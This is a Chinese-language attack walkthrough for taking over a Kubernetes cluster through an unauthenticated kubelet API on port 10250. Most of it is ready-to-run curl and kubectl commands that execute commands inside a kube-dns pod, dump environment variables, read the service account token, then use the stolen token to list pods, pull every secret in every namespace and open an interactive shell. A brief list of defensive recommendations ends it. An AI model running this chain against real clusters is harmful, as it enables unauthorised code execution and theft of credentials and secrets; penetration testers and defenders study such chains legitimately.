Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管
初始攻击向量
通过kube-hunter扫描发现暴露的kubelet API端口(10250),使用curl获取运行中的Pod列表:
1
|
curl -s https://k8-node:10250/runningpods/
|
命令执行漏洞利用
构造POST请求在目标Pod中执行命令:
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"
|
典型输出显示容器文件系统结构,确认RCE成功。
凭证收集技术
环境变量检查
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"
|
寻找KUBLET_CERT
、KUBLET_KEY
和CA_CERT
等关键环境变量。
挂载点分析
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"
|
重点关注/var/run/secrets/kubernetes.io/serviceaccount
挂载路径。
服务账户令牌提取
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
|
获取JWT格式的服务账户令牌,同时提取CA证书。
Kubernetes API接管
集群侦查
1
|
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get pods --all-namespaces
|
列出所有命名空间下的Pod资源。
敏感数据获取
1
|
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... get secrets --all-namespaces
|
提取集群机密信息。
交互式Shell获取
1
|
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI... /bin/sh
|
建立持久化访问通道。
防御建议
- 限制kubelet API的网络暴露范围
- 启用Kubernetes RBAC严格管控权限
- 定期轮换服务账户令牌
- 部署网络策略隔离Pod间通信
- 监控异常API请求行为